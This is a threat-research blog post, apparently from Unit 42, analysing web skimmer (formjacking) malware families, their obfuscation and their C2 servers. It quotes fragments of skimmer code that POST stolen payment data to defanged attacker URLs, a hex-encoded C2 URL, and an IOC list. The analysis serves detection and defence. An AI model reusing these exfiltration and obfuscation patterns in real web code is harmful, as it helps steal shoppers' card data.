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A Closer Look at the Web Skimmer ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 7 min read Related Products [![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/product-category/advanced-url-filtering/ "Advanced URL Filtering")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire")[![Next-Generation Firewall icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Next-Generation Firewall](https://unit42.paloaltonetworks.com/product-category/next-generation-firewall/ "Next-Generation Firewall") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Jin Chen](https://unit42.paloaltonetworks.com/author/jin-chen/) * [Tao Yan](https://unit42.paloaltonetworks.com/author/tao-yan/) * [Taojie Wang](https://unit42.paloaltonetworks.com/author/taojie-wang/) * [Yu Fu](https://unit42.paloaltonetworks.com/author/yu-fu/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:November 9, 2020 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Formjacking Attack](https://unit42.paloaltonetworks.com/tag/formjacking-attack/) * [Web skimmer](https://unit42.paloaltonetworks.com/tag/web-skimmer/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/web-skimmer/?pdf=download&lg=en&_wpnonce=279fa6c5e6 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/web-skimmer/?pdf=print&lg=en&_wpnonce=279fa6c5e6 "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=A%20Closer%20Look%20at%20the%20Web%20Skimmer&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer%2F&title=A%20Closer%20Look%20at%20the%20Web%20Skimmer "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer%2F&text=A%20Closer%20Look%20at%20the%20Web%20Skimmer "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=A%20Closer%20Look%20at%20the%20Web%20Skimmer%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer%2F "Share in Mastodon") ## Executive Summary The formjacking attack has been one of the fastest-growing cyberattacks in recent years. As explained in our previous blog, "[Anatomy of Formjacking Attacks](https://unit42.paloaltonetworks.com/anatomy-of-formjacking-attacks/)," the formjacking attack is easy to deploy but hard to detect. It has gained popularity among threat actors, especially against e-commerce websites. Between May and September 2020, we detected an average of 65,000 malicious HTML pages and 24,000 unique URLs compromised by formjacking attacks. In this blog, we will take a closer look at the web skimmer attack, which is one of the most widely used formjacking attacks. We will present several web skimmer samples and provide an in-depth analysis of the attack vectors deployed during the attack. We hope this blog will help security researchers understand how web skimmer attacks happen in a real-life environment and develop effective detection and defense mechanisms. Palo Alto Networks Next-Generation Firewall customers are protected from formjacking attacks via the [WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire) and [URL Filtering](https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security) security subscriptions. ## Victim Analysis With [WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire), we detected 351,972 HTML pages that were compromised by skimmer malware from October 2019-October 2020. These samples belong to 6,684 unique domain names. We derived the geographical locations for the domain names to generate a heat map as shown in Figure 1. This heat map indicates that the majority of the domain names are located in the United States. Also, the domain names have a wide geographic distribution across almost every continent, including Africa and Australia. ![This heat map shows dark blue in the geographical locations of the highest concentrations of domains including HTML pages that were compromised by web skimmer malware. Geographical locations with fewer of these domains are represented in lighter colors, with pale yellow being the lightest.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/11/word-image-4.png) Figure 1. Geographical location of domains including HTML pages that were compromised by web skimmer malware from October 2019-October 2020. Figure 2 shows the top eight countries the domain names belong to. While the United States has a majority share, it is notable that all of the top countries have a populace with a relatively high socioeconomic status. This seems sensible since most of the skimmer attacks target e-commerce websites, which attract users with spending power. ![The top eight countries we identified as being the geographical locations of the largest number of domains compromised by web skimmer malware are: United States, Germany, France, Netherlands, United Kingdom, Russian Federation, Canada and Australia.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/11/word-image-5.png) Figure 2. Top eight countries, based on geographical location of domains compromised by web skimmer malware from October 2019-October 2020. ## Web Skimmer Family Analysis In order to understand web skimmer attacks, we analyzed skimmer samples and determined that, although the skimmer HTML pages have different layouts and styles, they share similar JavaScript code. We were able to extract 10,764 unique malicious JavaScript snippets from the 351,972 HTML pages collected from October 2019-October 2020. With the help of VirusTotal and automation tools, we were able to identify 63 different malware families based on their functionalities and features. Figure 3 shows the number of HTML samples associated with each skimmer family. Among all malware families, 19 are relatively popular, with more than 1,000 observed samples each, while the remaining 44 families were seen in only 3,612 pages combined. ![This shows the number of HTML samples we collected in association with various web skimmer families we identified. The numbers range from 96,245 samples associated with family1 to 1,029 samples associated with family19. The remaining 44 families were seen in only 3,612 pages combined.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/11/word-image-6.png) Figure 3. Number of HTML samples among web skimmer families from October 2019-October 2020. From Figure 3, we can see that 27% of malicious web skimmer pages belong to the most popular skimmer family (family1 in Figure 3). Also, the top three families (family1, family2 and family3) can cover 65% of all web skimmer pages, considering that one page can belong to multiple skimmer families. We found some pages with more than one malicious JavaScript embedded. For those pages, no evidence indicated different types of skimmers are intentionally used together. Rather, it is more likely that the pages were randomly compromised by different campaigns independent of each other. ## Web Skimmer Case Study From October 2019-October 2020, we observed the evolution of skimmer obfuscation techniques and command and control (C2) communication. Specifically, we determined that family7, shown in Figure 3 with a total number of 34,004 samples, is typical and representative of skimming attacks. In this section, we will do a deep dive into family7 to better understand how a skimmer operates. Multiple variants of web skimmer samples from family7 will be presented. We hope this can help security researchers understand the complexity and polymorphism of web skimmer attacks, especially in terms of the code structure and usage of obfuscation techniques. Let's start with the JavaScript code extracted from one of the most commonly seen skimmer samples in family7, as shown below in Example 1. ![This JavaScript code was extracted from one of the most commonly seen web skimmer samples in family7.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/11/word-image-7.png) Example 1. JavaScript code from sample 1 of family7. From the code, we can see that the payment information is stolen by the attackers, and then the data is sent to the C2 server (https://informaer\[.\]net/js/info\_jquery.js) via a POST request. The related function is shown below. |----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | e294b002686cad2df01bb59e3e2299f3e:'https://informaer\[.\]net/js/info\_jquery.js' ... http.open('POST',be20b6410993ea4c7a48767775856514b.e294b002686cad2df01bb59e3e2299f3e,true); | The characteristics of JavaScript grammar allow the code to be presented in different ways. Even samples of code that are nearly identical to one another could be refined or rewritten into a completely different structure. In another variant shown below, sample 2, we see code from family7 presented: ![This variant from family7 uses the traditional way to define JavaScript functions, in contrast to example 1, which has labeled function declarations to define JavaScript functions.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/11/word-image-8.png) Example 2. JavaScript code from sample 2 of family7. Sample 1 has labeled function declarations to define JavaScript functions. In sample 2, the traditional way to define JavaScript functions is used. In order to detect and capture both of them using intrusion prevention system (IPS) signatures, patterns need to be written in a way that considers both ways of definition. Also, in this sample, the C2 server points to "https://cloudservice\[.\]tw/lib/jquery.php" to steal the sensitive information. Obfuscation and polymorphism are also widely used in delivering malicious code. Many open-source tools, such as [javascript-obfuscator](https://github.com/javascript-obfuscator/javascript-obfuscator) and [jfogs](https://github.com/zswang/jfogs), can be utilized to make it easier to evade detection, rather than rewriting the malicious code. Below is another piece of code coming from the family7: ![This sample from web skimmer family 7 encodes its C2 server URL in hexadecimal form.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/11/word-image-9.png) Example 3. JavaScript code from sample 3 of family7. In this case, its C2 server URL is encoded in hexadecimal form. |--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | "\\x68\\x74\\x74\\x70\\x73\\x3A\\x2F\\x2F\\x6F\\x6E\\x6C\\x69\\x6E\\x65\\x73\\x74\\x61\\x74\\x75\\x73\\x2E\\x73\\x69\\x74\\x65\\x2F\\x6A\\x73\\x2F\\x73\\x74\\x61\\x74\\x75\\x73\\x2E\\x6A\\x73" | By converting the hex strings into the decoded characters, we can find its C2 server pointing to "https://onlinestatus\[.\]site/js/status.js". Other than the samples we've presented above, highly obfuscated malicious codes were also observed in family7. Though these samples have different code, the logic and main code flow are similar or even identical. Intruders seem to deploy different code in different compromised websites, which makes it less likely to be detected by IPS signatures with one single pattern. Another fact worth mentioning here is that the URL of the C2 server is written as a variable in JavaScript, which is fairly easy for the attackers to modify. In our dataset, we determined that many other skimmer samples use the same code after decoding/de-obfuscation, yet point to different C2 servers. Figure 4 shows all the extracted C2 servers and the usage statistics from family7. ![This breaks down how commonly web skimmer samples from family7 used different C2 servers. Results range from 21,122 instances of usage of "onlinestatus\[.\]site" to 157 instances of usage of "web-stat.me"](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/11/word-image-10.png) Figure 4. C2 server usage found in web skimmer samples from family7. From Figure 4, we can see that eight domains are used in 93% of web skimmer samples from family7, which shows that the skimmer malware campaign operates many C2 servers. When the C2 server is blocked or detected, the attackers can easily replace the C2 server with a new domain name. Identifying all C2 servers is an impractical strategy because most malicious JavaScript samples are heavily obfuscated using complicated methods to which automation cannot be applied. Evolving codes and constantly changing IPs also make it difficult to collect all live C2 servers. We also determined that some C2 servers are used in more than one family, providing us with strong evidence that these families could be maintained or operated by the same campaign. For example, "https://cloudservice\[.\]tw/lib/jquery.php" seen in the second sample above, also appears in another family (labelled as "other" in Figure 3): ![Some C2 servers are used in more than one family. This JavaScript code shows other samples using the same C2 servers.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/11/word-image-11.png) Example 4. JavaScript code from other samples using the same C2 servers. Palo Alto Networks has developed an advanced detection module in [WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire) that targets formjacking attacks. Figure 5 shows the monthly detection of malicious HTML pages and unique URLs in the past five months (May - Sept. 2020). On average, WildFire detected 65,000 malicious HTML pages (listed as "all hit") and 24,000 unique URLs (listed as "unique url hit") compromised by formjacking attacks. All detections automatically undergo additional analysis for verification. WildFire correctly identifies and detects formjacking attacks, while [URL Filtering](https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security) identifies those URLs as malicious and categorizes them accordingly. ![Number of detected malicious URLs from WildFire (May - September 2020). “All hit” measures malicious HTML images, while “unique URL hit” measures unique URLs. Numbers for "all hit": 97,539 (May), 84,882 (June), 72,158 (July), 79,695 (August), and 61,846 (September). Numbers for "unique URL hit": 27,155 (May), 19,428 (June), 21,336 (July), 29,703 (August), and 25,160 (September).](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/11/word-image-12.png) Figure 5. Number of detected malicious URLs from WildFire (May - September 2020). "All hit" measures malicious HTML images, while "unique URL hit" measures unique URLs. ## Conclusion A web skimmer is a popular formjacking attack to steal sensitive information by injecting malicious JavaScript code into compromised websites. In this blog, we analyzed 351,972 HTML pages infected by skimmer campaigns October 2019-October 2020 and found that skimmer malware is highly elusive and continuously evolving. Traces of web skimmer attacks are found across every corner of the world. For security teams, comprehensive detection against skimmer malware is not an easy task. They have to keep alert and be aware of the latest techniques used by skimmer malware in order to develop dynamic detection strategies. For website administrators, it is advisable to patch all systems, components and web plugins in their organization to minimize the likelihood of compromised systems. Also, conducting web content integrity checks on a regular basis is highly recommended. This can help detect and prevent web skimmer attacks. For internet users, it is advisable to track online activities for abnormal use and unauthorized payments from online banking services. If you believe your credit card information was stolen as a result of a recent online purchase, you should contact your bank to freeze or replace your card immediately. Palo Alto Networks Next-Generation Firewall customers are protected from formjacking attacks via the [WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire) and [URL Filtering](https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security) security subscriptions. ## IOC |------------------------------------------------------------------------------------------------------------------------------------------| | https://informaer\[.\]net/js/info\_jquery.js https://onlinestatus\[.\]site/js/status.js https://cloudservice\[.\]tw/lib/jquery.php | Back to top ### Tags * [Formjacking Attack](https://unit42.paloaltonetworks.com/tag/formjacking-attack/ "Formjacking Attack") * [Web skimmer](https://unit42.paloaltonetworks.com/tag/web-skimmer/ "web skimmer") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: xHunt Campaign: Newly Discovered Backdoors Using Deleted Email Drafts and DNS Tunneling for Command and Control](https://unit42.paloaltonetworks.com/xhunt-campaign-backdoors/ "xHunt Campaign: Newly Discovered Backdoors Using Deleted Email Drafts and DNS Tunneling for Command and Control") ### Table of Contents * ### Related Articles * [Why Is an Australian Footballer Collecting My Passwords? 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Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. 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